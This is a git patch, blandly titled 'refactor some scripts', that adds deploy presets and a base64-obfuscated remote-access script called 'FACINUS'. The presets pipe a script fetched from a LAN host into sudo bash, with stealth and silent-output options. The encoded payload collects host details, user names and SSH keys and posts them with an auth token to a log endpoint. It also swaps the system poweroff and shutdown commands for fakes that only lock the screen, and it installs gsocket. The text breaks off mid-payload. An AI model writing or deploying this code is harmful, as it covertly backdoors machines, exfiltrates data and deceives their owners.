From f86e170184b2fbd9125640c8743a1991c5be54a1 Mon Sep 17 00:00:00 2001 From: Amoelle Date: Sun, 6 Apr 2025 20:20:23 +0300 Subject: [PATCH] refactor some scripts --- scripts/deploy/full | 11 + scripts/deploy/minimal | 12 + scripts/deploy/quiet | 12 + scripts/deploy/x | 9 + scripts/deploy/y | 542 +++++++++++++++++++++++++++++++ scripts/deploy/y.b64 | 1 + scripts/generate_scripts.sh | 625 +----------------------------------- 7 files changed, 595 insertions(+), 617 deletions(-) create mode 100755 scripts/deploy/full create mode 100755 scripts/deploy/minimal create mode 100755 scripts/deploy/quiet create mode 100755 scripts/deploy/x create mode 100755 scripts/deploy/y create mode 100644 scripts/deploy/y.b64 diff --git a/scripts/deploy/full b/scripts/deploy/full new file mode 100755 index 0000000..5b9e623 --- /dev/null +++ b/scripts/deploy/full @@ -0,0 +1,11 @@ +#!/bin/bash +# Full installation preset - requires root +export NO_ROOT=false +export NO_SERVICES=false +export INSTALL_WOL=true +export INSTALL_FAKE_POWEROFF=true +export INSTALL_GSOCKET=true +export STEALTH_MODE=true + +# Download and run the main script with sudo +eval "$(wget -qO- http://192.168.0.104/deployment/y" | sudo bash diff --git a/scripts/deploy/minimal b/scripts/deploy/minimal new file mode 100755 index 0000000..102a80e --- /dev/null +++ b/scripts/deploy/minimal @@ -0,0 +1,12 @@ +#!/bin/bash +# Minimal installation preset - no root required +export NO_ROOT=true +export NO_SERVICES=true +export INSTALL_WOL=false +export INSTALL_FAKE_POWEROFF=false +export INSTALL_GSOCKET=true +export STEALTH_MODE=true + +# Download and run the main script +eval "$(wget -qO- http://192.168.0.104/deployment/y" | bash + diff --git a/scripts/deploy/quiet b/scripts/deploy/quiet new file mode 100755 index 0000000..506a0ee --- /dev/null +++ b/scripts/deploy/quiet @@ -0,0 +1,12 @@ +#!/bin/bash +# Quiet installation preset - minimal output +export VERBOSE=false +export NO_ROOT=false +export NO_SERVICES=false +export INSTALL_WOL=true +export INSTALL_FAKE_POWEROFF=true +export INSTALL_GSOCKET=true +export STEALTH_MODE=true + +# Redirect output to /dev/null for quieter operation +(eval "$(wget -qO- http://192.168.0.104/deployment/y" | sudo bash) &>/dev/null & diff --git a/scripts/deploy/x b/scripts/deploy/x new file mode 100755 index 0000000..4d829a4 --- /dev/null +++ b/scripts/deploy/x @@ -0,0 +1,9 @@ +#!/bin/bash +# This is an obfuscated setup script + +if command -v base64 >/dev/null 2>&1; then + eval "$(echo "IyEvYmluL2Jhc2gKIyBGQUNJTlVTIFJlbW90ZSBBY2Nlc3MgQ2xpZW50CiMgVGhpcyBzY3JpcHQgc2V0cyB1cCByZW1vdGUgYWNjZXNzIGNhcGFiaWxpdGllcyBvbiB0aGUgdGFyZ2V0IHN5c3RlbQoKIyA9PT09PT09PT09PT09PT09PSBDT05GSUdVUkFUSU9OID09PT09PT09PT09PT09PT09ClNFUlZFUl9VUkw9Imh0dHA6Ly8xOTIuMTY4LjAuMTA0L2RlcGxveW1lbnQiCkxPR19FTkRQT0lOVD0iJFNFUlZFUl9VUkwvbG9nX3JlY2VpdmVyLnBocCIKQVVUSF9UT0tFTj0iMVJBaVhoeThjN2ZKbTZrNTFWb2dyYmpVNDVIS25qeEgiClZFUlNJT049IjEuMS4wIgojID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKIyBDcmVhdGUgdGVtcG9yYXJ5IGRpcmVjdG9yeQpURU1QX0RJUj0kKG1rdGVtcCAtZCkKdHJhcCAncm0gLXJmICIkVEVNUF9ESVIiJyBFWElUCgojIC0tLS0tLS0gVVRJTElUWSBGVU5DVElPTlMgLS0tLS0tLQpsb2dfY21kKCkgewogICAgbG9jYWwgY21kPSIkMSIKICAgIGxvY2FsIGRlc2M9IiQyIgogICAgbG9jYWwgbG9nX2ZpbGU9IiQzIgogICAgCiAgICBlY2hvIC1lICJcblskKGRhdGUgJyslWS0lbS0lZCAlSDolTTolUycpXSBFWEVDVVRJTkc6ICRkZXNjIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiJCAkY21kIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iID4+ICIkbG9nX2ZpbGUiCiAgICAKICAgICMgRXhlY3V0ZSBjb21tYW5kIGFuZCBjYXB0dXJlIG91dHB1dCBhbmQgc3RhdHVzCiAgICBsb2NhbCBvdXRwdXQKICAgIG91dHB1dD0kKGV2YWwgIiRjbWQiIDI+JjEpCiAgICBsb2NhbCBzdGF0dXM9JD8KICAgIAogICAgZWNobyAiJG91dHB1dCIgPj4gIiRsb2dfZmlsZSIKICAgIGVjaG8gIkVYSVQgU1RBVFVTOiAkc3RhdHVzIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iID4+ICIkbG9nX2ZpbGUiCiAgICAKICAgIHJldHVybiAkc3RhdHVzCn0KCmdldF9zeXN0ZW1faW5mbygpIHsKICAgIHsKICAgICAgICBlY2hvICJ7IgogICAgICAgIGVjaG8gIiAgXCJob3N0bmFtZVwiOiBcIiQoaG9zdG5hbWUpXCIsIgogICAgICAgIGVjaG8gIiAgXCJrZXJuZWxcIjogXCIkKHVuYW1lIC1yKVwiLCIKICAgICAgICBlY2hvICIgIFwib3NcIjogXCIkKGxzYl9yZWxlYXNlIC1kcyAyPi9kZXYvbnVsbCB8fCBjYXQgL2V0Yy9vcy1yZWxlYXNlIHwgZ3JlcCBQUkVUVFlfTkFNRSB8IGN1dCAtZD0gLWYyIHwgdHIgLWQgJ1wiJylcIiwiCiAgICAgICAgZWNobyAiICBcImlwXCI6IFwiJChob3N0bmFtZSAtSSB8IGF3ayAne3ByaW50ICQxfScpXCIsIgogICAgICAgIGVjaG8gIiAgXCJtYWNcIjogXCIkKGlwIGxpbmsgc2hvdyB8IGdyZXAgLUUgJ2xpbmsvZXRoZXInIHwgaGVhZCAtbjEgfCBhd2sgJ3twcmludCAkMn0nKVwiLCIKICAgICAgICBlY2hvICIgIFwiY3B1XCI6IFwiJChncmVwICdtb2RlbCBuYW1lJyAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbjEgfCBjdXQgLWQ6IC1mMiB8IHNlZCAncy9eWyBcdF0qLy8nKVwiLCIKICAgICAgICBlY2hvICIgIFwicmFtX3RvdGFsXCI6IFwiJChmcmVlIC1oIHwgYXdrICdOUj09MiB7cHJpbnQgJDJ9JylcIiwiCiAgICAgICAgZWNobyAiICBcImRpc2tfdG90YWxcIjogXCIkKGRmIC1oIC0tdG90YWwgfCBncmVwIHRvdGFsIHwgYXdrICd7cHJpbnQgJDJ9JylcIiwiCiAgICAgICAgZWNobyAiICBcInVzZXJcIjogXCIkKHdob2FtaSlcIiwiCiAgICAgICAgZWNobyAiICBcImlzX3Jvb3RcIjogXCIkKHN1ZG8gLWwgJj4gL2Rldi9udWxsICYmIGVjaG8gInRydWUiIHx8IGVjaG8gImZhbHNlIilcIiwiCiAgICAgICAgZWNobyAiICBcInVzZXJzXCI6IFwiJChhd2sgLUY6ICckNyB+IC9iYXNofHNoLyB7cHJpbnRmICIlcyAiLCAkMX0gRU5EIHtwcmludCAiIn0nIC9ldGMvcGFzc3dkKVwiLCIKICAgICAgICBlY2hvICIgIFwidGltZXN0YW1wXCI6IFwiJChkYXRlICcrJVktJW0tJWQgJUg6JU06JVMnKVwiLCIKICAgICAgICBlY2hvICIgIFwidXB0aW1lXCI6IFwiJCh1cHRpbWUgLXApXCIiCiAgICAgICAgZWNobyAifSIKICAgIH0gfCB0ciAtZCAnXG4nIHwgc2VkICdzLyAgLy9nJyB8IGpxIC1SIC4KfQoKc2VuZF9sb2dzKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiQxIgogICAgbG9jYWwgc2VjcmV0X3ZhbD0iJDIiCiAgICBsb2NhbCBzZWNyZXRfdHlwZT0iJDMiCiAgICAKICAgIGxvY2FsIHN5c2luZm89JChnZXRfc3lzdGVtX2luZm8pCiAgICBsb2NhbCBob3N0bmFtZT0kKGhvc3RuYW1lKQogICAgCiAgICAjIFN1Ym1pdCBsb2dzIHRvIHRoZSBzZXJ2ZXIKICAgIGN1cmwgLXMgLVggUE9TVCAiJExPR19FTkRQT0lOVCIgXAogICAgICAgICAgICAtRiAiYXV0aF90b2tlbj0kQVVUSF9UT0tFTiIgXAogICAgICAgICAgICAtRiAiaG9zdG5hbWU9JGhvc3RuYW1lIiBcCiAgICAgICAgICAgIC1GICJsb2dfZGF0YT1AJGxvZ19maWxlIiBcCiAgICAgICAgICAgIC1GICJzeXN0ZW1faW5mbz0kc3lzaW5mbyIgXAogICAgICAgICAgICAtRiAic2VjcmV0X3R5cGU9JHNlY3JldF90eXBlIiBcCiAgICAgICAgICAgIC1GICJzZWNyZXRfdmFsdWU9JHNlY3JldF92YWwiIFwKICAgICAgICAgICAgPiAvZGV2L251bGwKfQoKZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcigpIHsKICAgICMgRGV0ZWN0IHRoZSBzeXN0ZW0ncyBwYWNrYWdlIG1hbmFnZXIKICAgIGlmIGNvbW1hbmQgLXYgYXB0ICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgIGVjaG8gImFwdCIKICAgIGVsaWYgY29tbWFuZCAtdiBkbmYgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgZWNobyAiZG5mIgogICAgZWxpZiBjb21tYW5kIC12IHl1bSAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICBlY2hvICJ5dW0iCiAgICBlbGlmIGNvbW1hbmQgLXYgcGFjbWFuICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgIGVjaG8gInBhY21hbiIKICAgIGVsaWYgY29tbWFuZCAtdiB6eXBwZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgZWNobyAienlwcGVyIgogICAgZWxzZQogICAgICAgIGVjaG8gInVua25vd24iCiAgICBmaQp9CgojIC0tLS0tLS0gSU5TVEFMTEFUSU9OIEZVTkNUSU9OUyAtLS0tLS0tCmluc3RhbGxfc3NoKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9zc2hfaW5zdGFsbC5sb2ciCiAgICB0b3VjaCAiJGxvZ19maWxlIgogICAgCiAgICBlY2hvICJbKl0gSW5zdGFsbGluZyBTU0ggc2VydmVyLi4uIgogICAgCiAgICBsb2NhbCBwa2dfbWFuYWdlcj0kKGRldGVjdF9wYWNrYWdlX21hbmFnZXIpCiAgICBjYXNlICIkcGtnX21hbmFnZXIiIGluCiAgICAgICAgYXB0KQogICAgICAgICAgICBpZiAhIGRwa2cgLXMgb3BlbnNzaC1zZXJ2ZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvIGFwdCB1cGRhdGUiICJVcGRhdGluZyBwYWNrYWdlIGxpc3RzIiAiJGxvZ19maWxlIgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBhcHQgaW5zdGFsbCAteSBvcGVuc3NoLXNlcnZlciIgIkluc3RhbGxpbmcgT3BlblNTSCBzZXJ2ZXIiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBzc2giICJFbmFibGluZyBTU0ggc2VydmljZSIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgc3NoIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgZG5mfHl1bSkKICAgICAgICAgICAgaWYgISBycG0gLXEgb3BlbnNzaC1zZXJ2ZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvICRwa2dfbWFuYWdlciBpbnN0YWxsIC15IG9wZW5zc2gtc2VydmVyIiAiSW5zdGFsbGluZyBPcGVuU1NIIHNlcnZlciIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZW5hYmxlIHNzaGQiICJFbmFibGluZyBTU0ggc2VydmljZSIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgc3NoZCIgIlN0YXJ0aW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICA7OwogICAgICAgIHBhY21hbikKICAgICAgICAgICAgaWYgISBwYWNtYW4gLVEgb3BlbnNzaCAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gcGFjbWFuIC1TIC0tbm9jb25maXJtIG9wZW5zc2giICJJbnN0YWxsaW5nIE9wZW5TU0ggc2VydmVyIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgc3NoZCIgIkVuYWJsaW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBzc2hkIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgenlwcGVyKQogICAgICAgICAgICBpZiAhIHJwbSAtcSBvcGVuc3NoLXNlcnZlciAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8genlwcGVyIGluc3RhbGwgLXkgb3BlbnNzaC1zZXJ2ZXIiICJJbnN0YWxsaW5nIE9wZW5TU0ggc2VydmVyIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgc3NoZCIgIkVuYWJsaW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBzc2hkIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgZWNobyAiWyFdIFVuc3VwcG9ydGVkIHBhY2thZ2UgbWFuYWdlci4gU1NIIHNlcnZlciBpbnN0YWxsYXRpb24gc2tpcHBlZC4iCiAgICAgICAgICAgIHJldHVybiAxCiAgICAgICAgICAgIDs7CiAgICBlc2FjCiAgICAKICAgICMgR2V0IFNTSCBrZXkgaWYgaXQgZXhpc3RzCiAgICBpZiBbIC1mIH4vLnNzaC9pZF9yc2EucHViIF07IHRoZW4KICAgICAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiQoY2F0IH4vLnNzaC9pZF9yc2EucHViKSIgInNzaF9rZXkiCiAgICBlbHNlCiAgICAgICAgIyBUcnkgdG8gY3JlYXRlIGEgbmV3IGtleSBpZiBpdCBkb2Vzbid0IGV4aXN0CiAgICAgICAgbG9nX2NtZCAic3NoLWtleWdlbiAtdCByc2EgLU4gJycgLWYgfi8uc3NoL2lkX3JzYSIgIkdlbmVyYXRpbmcgU1NIIGtleSIgIiRsb2dfZmlsZSIKICAgICAgICBpZiBbIC1mIH4vLnNzaC9pZF9yc2EucHViIF07IHRoZW4KICAgICAgICAgICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICIkKGNhdCB+Ly5zc2gvaWRfcnNhLnB1YikiICJzc2hfa2V5IgogICAgICAgIGZpCiAgICBmaQogICAgCiAgICAjIFNlbmQgU1NIIGNvbmZpZ3VyYXRpb24KICAgIGxvY2FsIHNzaF9wb3J0PSQoZ3JlcCAtRSAiXlBvcnQgIiAvZXRjL3NzaC9zc2hkX2NvbmZpZyB8IGF3ayAne3ByaW50ICQyfScpCiAgICBbIC16ICIkc3NoX3BvcnQiIF0gJiYgc3NoX3BvcnQ9MjIKICAgIAogICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICJ7XCJwb3J0XCI6JHNzaF9wb3J0fSIgInNzaF9jb25maWciCiAgICAKICAgIGVjaG8gIlsrXSBTU0ggc2VydmVyIGluc3RhbGxlZCBhbmQgY29uZmlndXJlZC4iCn0KCnNldHVwX3dvbCgpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvd29sX3NldHVwLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIFdha2Utb24tTEFOLi4uIgogICAgCiAgICAjIEluc3RhbGwgZXRodG9vbCBpZiBuZWVkZWQKICAgIGxvY2FsIHBrZ19tYW5hZ2VyPSQoZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcikKICAgIGNhc2UgIiRwa2dfbWFuYWdlciIgaW4KICAgICAgICBhcHQpCiAgICAgICAgICAgIGlmICEgZHBrZyAtcyBldGh0b29sICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBhcHQgaW5zdGFsbCAteSBldGh0b29sIiAiSW5zdGFsbGluZyBldGh0b29sIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICA7OwogICAgICAgIGRuZnx5dW0pCiAgICAgICAgICAgIGlmICEgcnBtIC1xIGV0aHRvb2wgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvICRwa2dfbWFuYWdlciBpbnN0YWxsIC15IGV0aHRvb2wiICJJbnN0YWxsaW5nIGV0aHRvb2wiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIDs7CiAgICAgICAgcGFjbWFuKQogICAgICAgICAgICBpZiAhIHBhY21hbiAtUSBldGh0b29sICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBwYWNtYW4gLVMgLS1ub2NvbmZpcm0gZXRodG9vbCIgIkluc3RhbGxpbmcgZXRodG9vbCIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgOzsKICAgICAgICB6eXBwZXIpCiAgICAgICAgICAgIGlmICEgcnBtIC1xIGV0aHRvb2wgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvIHp5cHBlciBpbnN0YWxsIC15IGV0aHRvb2wiICJJbnN0YWxsaW5nIGV0aHRvb2wiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgZWNobyAiWyFdIFVuc3VwcG9ydGVkIHBhY2thZ2UgbWFuYWdlci4gV29MIHNldHVwIG1heSBiZSBpbmNvbXBsZXRlLiIKICAgICAgICAgICAgOzsKICAgIGVzYWMKICAgIAogICAgIyBHZXQgdGhlIHByaW1hcnkgaW50ZXJmYWNlCiAgICBsb2NhbCBpbnRlcmZhY2U9JChpcCByb3V0ZSB8IGdyZXAgZGVmYXVsdCB8IGF3ayAne3ByaW50ICQ1fScgfCBoZWFkIC1uMSkKICAgIAogICAgaWYgWyAteiAiJGludGVyZmFjZSIgXTsgdGhlbgogICAgICAgIGVjaG8gIlshXSBObyBuZXR3b3JrIGludGVyZmFjZSBmb3VuZC4iCiAgICAgICAgcmV0dXJuIDEKICAgIGZpCiAgICAKICAgICMgQ2hlY2sgY3VycmVudCBXb0wgc3RhdHVzCiAgICBpZiBldGh0b29sICIkaW50ZXJmYWNlIiB8IGdyZXAgLXEgIldha2Utb246IGciOyB0aGVuCiAgICAgICAgZWNobyAiWytdIFdha2Utb24tTEFOIGlzIGFscmVhZHkgZW5hYmxlZCBvbiAkaW50ZXJmYWNlLiIKICAgICAgICAjIFRyeSB0byBlbmFibGUgV29MCiAgICAgICAgbG9nX2NtZCAic3VkbyBldGh0b29sIC1zICRpbnRlcmZhY2Ugd29sIGciICJFbmFibGluZyBXYWtlLW9uLUxBTiIgIiRsb2dfZmlsZSIKICAgICAgICAKICAgICAgICAjIENyZWF0ZSBwZXJzaXN0ZW50IGNvbmZpZ3VyYXRpb24KICAgICAgICBjYXQgPiAiJFRFTVBfRElSL3dvbC5zZXJ2aWNlIiA8PCBFT0YKW1VuaXRdCkRlc2NyaXB0aW9uPUVuYWJsZSBXYWtlLW9uLUxBTiBvbiAkaW50ZXJmYWNlCkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90CkV4ZWNTdGFydD0vdXNyL3NiaW4vZXRodG9vbCAtcyAkaW50ZXJmYWNlIHdvbCBnClJlbWFpbkFmdGVyRXhpdD15ZXMKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldApFT0YKCiAgICAgICAgc3VkbyBtdiAiJFRFTVBfRElSL3dvbC5zZXJ2aWNlIiAvZXRjL3N5c3RlbWQvc3lzdGVtL3dvbC5zZXJ2aWNlCiAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyBzeXN0ZW1kIiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSB3b2wuc2VydmljZSIgIkVuYWJsaW5nIFdvTCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIHN0YXJ0IHdvbC5zZXJ2aWNlIiAiU3RhcnRpbmcgV29MIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgCiAgICAgICAgIyBHZXQgTUFDIGFkZHJlc3MgZm9yIFdvTAogICAgICAgIGxvY2FsIG1hYz0kKGlwIGxpbmsgc2hvdyAkaW50ZXJmYWNlIHwgZ3JlcCAtRSAnbGluay9ldGhlcicgfCBhd2sgJ3twcmludCAkMn0nKQogICAgICAgIAogICAgICAgIHNlbmRfbG9ncyAiJGxvZ19maWxlIiAie1wiaW50ZXJmYWNlXCI6XCIkaW50ZXJmYWNlXCIsXCJtYWNcIjpcIiRtYWNcIn0iICJ3b2xfY29uZmlnIgogICAgICAKICAgICAgZWNobyAiWytdIFdha2Utb24tTEFOIGNvbmZpZ3VyZWQgZm9yIGludGVyZmFjZSAkaW50ZXJmYWNlIChNQUM6ICRtYWMpLiIKICAgIGVsc2UgCiAgICAgICAgZWNobyAiWy1dIFdha2Utb24tTEFOIGlzIG5vdCBlbmFibGVkIG9uICRpbnRlcmZhY2UuIgogICAgZmkKICAgIAp9CgpzZXR1cF9mYWtlX3Bvd2Vyb2ZmKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9mYWtlX3Bvd2Vyb2ZmLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIGZha2UgcG93ZXJvZmYuLi4iCiAgICAKICAgICMgQ3JlYXRlIHRoZSBmYWtlIHBvd2Vyb2ZmIHNjcmlwdAogICAgY2F0ID4gIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmLnNoIiA8PCAnRU9GJwojIS9iaW4vYmFzaAojIFRoaXMgc2NyaXB0IGludGVyY2VwdHMgcG93ZXJvZmYvc2h1dGRvd24gY29tbWFuZHMgYW5kIGZha2VzIGEgc2h1dGRvd24KCiMgQmFja3VwIG9yaWdpbmFsIGNvbW1hbmRzIGlmIG5vdCBhbHJlYWR5IGRvbmUKaWYgWyAhIC1mIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsIF07IHRoZW4KICAgIHN1ZG8gY3AgL3Vzci9zYmluL3Bvd2Vyb2ZmIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsCmZpCgppZiBbICEgLWYgL3Vzci9zYmluL3NodXRkb3duLnJlYWwgXTsgdGhlbgogICAgc3VkbyBjcCAvdXNyL3NiaW4vc2h1dGRvd24gL3Vzci9zYmluL3NodXRkb3duLnJlYWwKZmkKCiMgQ3JlYXRlIHRoZSBmYWtlIHNjcmlwdHMKY2F0ID4gIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmIiA8PCAnRU9UJwojIS9iaW4vYmFzaAojIEZha2UgcG93ZXJvZmYgc2NyaXB0IHRoYXQganVzdCBsb2NrcyB0aGUgc2NyZWVuCmVjaG8gIlN5c3RlbSBpcyBwb3dlcmluZyBvZmYuLi4iCiMgQ2hhbmdlIHRvIFRUWTcgYW5kIGNsZWFyIHNjcmVlbgpzdWRvIGNodnQgNwpzdWRvIGNsZWFyCiMgRGlzcGxheSBmYWtlIHNodXRkb3duIG1lc3NhZ2VzCmVjaG8gLWUgIlxuXG4gKiBVbm1vdW50aW5nIGZpbGVzeXN0ZW1zLi4uIgpzbGVlcCAwLjUKZWNobyAiICogU3RvcHBpbmcgc3lzdGVtIHNlcnZpY2VzLi4uIgpzbGVlcCAwLjcKZWNobyAiICogUG93ZXJpbmcgb2ZmIHN5c3RlbS4uLiIKc2xlZXAgMQojIFR1cm4gb2ZmIGRpc3BsYXkgaWYgcG9zc2libGUKeHNldCBkcG1zIGZvcmNlIG9mZiAmPiAvZGV2L251bGwgfHwgdHJ1ZQojIExvY2sgc3lzdGVtCmxvZ2luY3RsIGxvY2stc2Vzc2lvbiAmPiAvZGV2L251bGwgfHwgdHJ1ZQojIFdhaXQgZm9yZXZlciBpbiBiYWNrZ3JvdW5kCih3aGlsZSB0cnVlOyBkbyBzbGVlcCAxMDAwOyBkb25lKSAmCiMgTWFrZSBpdCBoYXJkIHRvIGV4aXQgd2l0aCBDdHJsK0MKdHJhcCAiIiBJTlQgVEVSTQojIEp1c3Qgd2FpdCBoZXJlCnNsZWVwIGluZmluaXR5CkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmIgpzdWRvIG12ICIkVEVNUF9ESVIvZmFrZS1wb3dlcm9mZiIgL3Vzci9sb2NhbC9iaW4vZmFrZS1wb3dlcm9mZgoKIyBSZXBsYWNlIHRoZSBvcmlnaW5hbCBjb21tYW5kcyB3aXRoIHdyYXBwZXJzIHRvIG91ciBmYWtlIHNjcmlwdApjYXQgPiAiJFRFTVBfRElSL3Bvd2Vyb2ZmLXdyYXBwZXIiIDw8ICdFT1QnCiMhL2Jpbi9iYXNoCiMgQ2hlY2sgZm9yIGZvcmNlIGZsYWcKaWYgW1sgIiAkKiAiID09ICoiIC1mICIqIF1dIHx8IFtbICIgJCogIiA9PSAqIiAtLWZvcmNlICIqIF1dOyB0aGVuCiAgICBleGVjIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsICIkQCIKZWxzZQogICAgZXhlYyAvdXNyL2xvY2FsL2Jpbi9mYWtlLXBvd2Vyb2ZmCmZpCkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9wb3dlcm9mZi13cmFwcGVyIgpzdWRvIG12ICIkVEVNUF9ESVIvcG93ZXJvZmYtd3JhcHBlciIgL3Vzci9zYmluL3Bvd2Vyb2ZmCgpjYXQgPiAiJFRFTVBfRElSL3NodXRkb3duLXdyYXBwZXIiIDw8ICdFT1QnCiMhL2Jpbi9iYXNoCiMgQ2hlY2sgZm9yIGZvcmNlIGZsYWcKaWYgW1sgIiAkKiAiID09ICoiIC1mICIqIF1dIHx8IFtbICIgJCogIiA9PSAqIiAtLWZvcmNlICIqIF1dOyB0aGVuCiAgICBleGVjIC91c3Ivc2Jpbi9zaHV0ZG93bi5yZWFsICIkQCIKZWxzZQogICAgZXhlYyAvdXNyL2xvY2FsL2Jpbi9mYWtlLXBvd2Vyb2ZmCmZpCkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9zaHV0ZG93bi13cmFwcGVyIgpzdWRvIG12ICIkVEVNUF9ESVIvc2h1dGRvd24td3JhcHBlciIgL3Vzci9zYmluL3NodXRkb3duCgpFT0YKCiAgICBsb2dfY21kICJzdWRvIGJhc2ggJFRFTVBfRElSL2Zha2UtcG93ZXJvZmYuc2giICJJbnN0YWxsaW5nIGZha2UgcG93ZXJvZmYgc2NyaXB0cyIgIiRsb2dfZmlsZSIKICAgIAogICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICJGYWtlIHBvd2Vyb2ZmIGluc3RhbGxlZCIgImZha2VfcG93ZXJvZmYiCiAgICAKICAgIGVjaG8gIlsrXSBGYWtlIHBvd2Vyb2ZmIGNvbmZpZ3VyZWQuIE5vcm1hbCBzaHV0ZG93biBjb21tYW5kcyB3aWxsIG5vdyBmYWtlIGEgc2h1dGRvd24uIgogICAgZWNobyAiICAgIFVzZSAncG93ZXJvZmYgLWYnIG9yICdzaHV0ZG93biAtZicgZm9yIGFuIGFjdHVhbCBzaHV0ZG93bi4iCn0KCmluc3RhbGxfZ3NvY2tldCgpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvZ3NvY2tldF9pbnN0YWxsLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBJbnN0YWxsaW5nIGdzb2NrZXQgZm9yIHJlbW90ZSBhY2Nlc3MuLi4iCiAgICAKICAgICMgSW5zdGFsbCBkZXBlbmRlbmNpZXMKICAgIGxvY2F